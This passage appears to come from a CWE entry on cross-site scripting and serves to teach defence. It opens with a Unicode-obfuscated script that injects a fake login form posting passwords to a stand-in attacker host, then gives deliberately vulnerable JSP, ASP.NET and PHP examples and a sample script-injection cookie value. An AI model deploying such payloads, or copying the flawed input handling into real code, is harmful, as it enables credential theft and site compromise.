document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073 \u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064 \u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067 \u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D \u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063 \u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F \u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D \u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061 \u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068 \u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070 \u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D \u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079 \u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061 \u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065 \u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073 \u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075 \u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073 \u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022 \u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E \u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D \u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C \u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F \u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script> Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs. Example 2 The following code displays a Reflected XSS (Type 1) scenario. The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user. (bad code)
Example Language: JSP
<% String eid = request.getParameter("eid"); %>
... Employee ID: <%= eid %> The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user. (bad code)
Example Language: ASP.NET
<%
protected System.Web.UI.WebControls.TextBox Login; protected System.Web.UI.WebControls.Label EmployeeID; ... EmployeeID.Text = Login.Text; %> <p><asp:label id="EmployeeID" runat="server" /></p> The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response. Example 3 The following code displays a Stored XSS (Type 2) scenario. The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name. (bad code)
Example Language: JSP
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); }%>String name = rs.getString("name"); Employee Name: <%= name %> The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID. (bad code)
Example Language: ASP.NET
<%
protected System.Web.UI.WebControls.Label EmployeeName; ... string query = "select * from emp where id=" + eid; sda = new SqlDataAdapter(query, conn); sda.Fill(dt); string name = dt.Rows[0]["Name"]; ... EmployeeName.Text = name;%> <p><asp:label id="EmployeeName" runat="server" /></p> This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. Example 4 The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario. CreateUser.php (bad code)
Example Language: PHP
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName); $query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ; mysql_query($query); /.../ The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information: ListUsers.php (bad code)
Example Language: PHP
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query); if (!$results) { exit; }//Print list of users to page echo '<div id="userlist">Currently Active Users:'; while ($row = mysql_fetch_assoc($results)) { echo '<div class="userNames">'.$row['fullname'].'</div>'; }echo '</div>'; The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message. Example 5 The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement: (bad code)
Example Language: PHP
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in."; //save HTML-formatted message to file; implementation details are irrelevant for this example. saveMessage($announceStr); An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like: (attack code)
<script>document.alert('Hacked');</script>
The raw contents of the message file would look like: (result)
<script>document.alert('Hacked');</script> has logged in.
For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause. Applicable Platform XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them. Other The attack methods for XSS can vary depending on the type of XSS and the attacker’s goal. Reflected XSS exploits (Type 1) occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser. In a Stored XSS exploit (Type 2), the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs. DOM-based XSS (Type 0) generally involves server-controlled, trusted script that is sent to the client, such as JavaScript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible. Other Attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Other Cross-site scripting (XSS) vulnerabilities occur when:
|

